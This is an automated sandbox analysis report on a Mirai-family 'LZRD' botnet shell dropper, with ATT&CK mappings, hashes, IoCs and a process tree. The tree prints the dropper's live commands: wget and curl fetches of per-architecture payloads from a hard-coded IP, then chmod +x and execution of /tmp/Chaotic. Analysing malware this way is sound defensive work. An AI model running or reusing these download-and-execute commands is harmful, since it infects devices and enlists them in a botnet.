mirai | 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11-11-2024 10:16

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General

Target

1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
Size

3KB
MD5

77b673f2a4bf201174409274ff5ab549
SHA1

07239713e9551c0e0fafb75149b86b0ce0515a0a
SHA256

1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18
SHA512

66922611e0e8c796248b3ea6ebe4a02c638a2548eb8348b98ce913d9a1127c8a7f0bb6340484d25418e4d1da35d7bfde0b22a142697734197cafce40591fce3c

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
695	chmod
829	chmod
677	chmod
709	chmod
722	chmod
736	chmod
755	chmod
800	chmod
805	chmod
840	chmod
686	chmod
846	chmod
666	chmod
835	chmod
817	chmod

Executes dropped EXE 15 IoCs

Processes:

ChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaotic

ioc	pid	Process
/tmp/Chaotic	667	Chaotic
/tmp/Chaotic	678	Chaotic
/tmp/Chaotic	687	Chaotic
/tmp/Chaotic	697	Chaotic
/tmp/Chaotic	711	Chaotic
/tmp/Chaotic	723	Chaotic
/tmp/Chaotic	738	Chaotic
/tmp/Chaotic	756	Chaotic
/tmp/Chaotic	801	Chaotic
/tmp/Chaotic	806	Chaotic
/tmp/Chaotic	818	Chaotic
/tmp/Chaotic	830	Chaotic
/tmp/Chaotic	836	Chaotic
/tmp/Chaotic	841	Chaotic
/tmp/Chaotic	847	Chaotic

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

ChaoticChaoticChaotic

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

Processes:

ChaoticChaoticChaotic

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx
behavioral2/files/fstream-8.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

ChaoticChaoticChaoticcurlcurlcurlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/26/status	Chaotic
File opened for reading	/proc/42/status	Chaotic
File opened for reading	/proc/141/status	Chaotic
File opened for reading	/proc/637/status	Chaotic
File opened for reading	/proc/213/status	Chaotic
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/41/status	Chaotic
File opened for reading	/proc/269/status	Chaotic
File opened for reading	/proc/141/status	Chaotic
File opened for reading	/proc/296/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/280/status	Chaotic
File opened for reading	/proc/592/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/743/status	Chaotic
File opened for reading	/proc/642/status	Chaotic
File opened for reading	/proc/296/status	Chaotic
File opened for reading	/proc/636/status	Chaotic
File opened for reading	/proc/299/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/572/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/25/status	Chaotic
File opened for reading	/proc/105/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/649/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/12/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/572/status	Chaotic
File opened for reading	/proc/138/status	Chaotic
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/107/status	Chaotic
File opened for reading	/proc/269/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/135/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/27/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/108/status	Chaotic
File opened for reading	/proc/135/status	Chaotic
File opened for reading	/proc/135/status	Chaotic
File opened for reading	/proc/592/status	Chaotic
File opened for reading	/proc/754/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/635/status	Chaotic
File opened for reading	/proc/280/status	Chaotic
File opened for reading	/proc/588/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/809/status	Chaotic
File opened for reading	/proc/590/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/280/status	Chaotic
File opened for reading	/proc/15/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlcatwgetcurlcatwget

pid	Process
702	curl
708	cat
713	wget
716	curl
721	cat
699	wget

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlwgetwgetcurlwgetcurlwgetwgetwgetcurlwgetwgetcurlwgetcurlwget1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.shwgetcurlwgetcurlcurlcpcurlcurlwgetcurlcurl

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/Chaotic	1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl

/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
1⤵
- Writes file to tmp directory
PID:638
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:640
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:645
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:656
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:665
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:666
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:667
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:670
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:676
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:678
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:684
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:685
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:687
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:689
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:693
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:697
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:699
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:702
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:708
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:711
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:713
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:716
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:721
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:723
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:734
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:738
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:746
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:753
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:756
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:798
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:799
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:801
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:802
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:804
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:806
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:816
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:818
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:824
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:826
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:828
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:830
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:833
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:834
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:836
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:839
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:845
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-c551bff430f14e46ad2c32f501677afc-systemd-timedated.service-S7D3Qe ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:847

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
0d6e1b9b64e7264be82e54ce16625d3d

SHA1
e7bdee0a6c0edf518ce58dec54ee07c19b0f4f3b

SHA256
1bfbf7137af8f36627159116bc0dbfe916315853c6eb61b7d6011224699487f3

SHA512
ab43d184b61391ab72085da965fe0498cc99e69f4f87eab448f3c72c3f7e755e9a062af17db0cc5c2117d421a5bf53505b1676ebf554021e356ca8e2cfd41c4b

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/tmp/Chaotic

Filesize
36KB

MD5
6f30551085376afd0fe00be9cd7964a4

SHA1
0543929d23cd2cf8a8e77e1f335134913e60770f

SHA256
e27460f82d4b29d46e902573c344ea43fb28f87441508232d8fdb1a0eb47a74f

SHA512
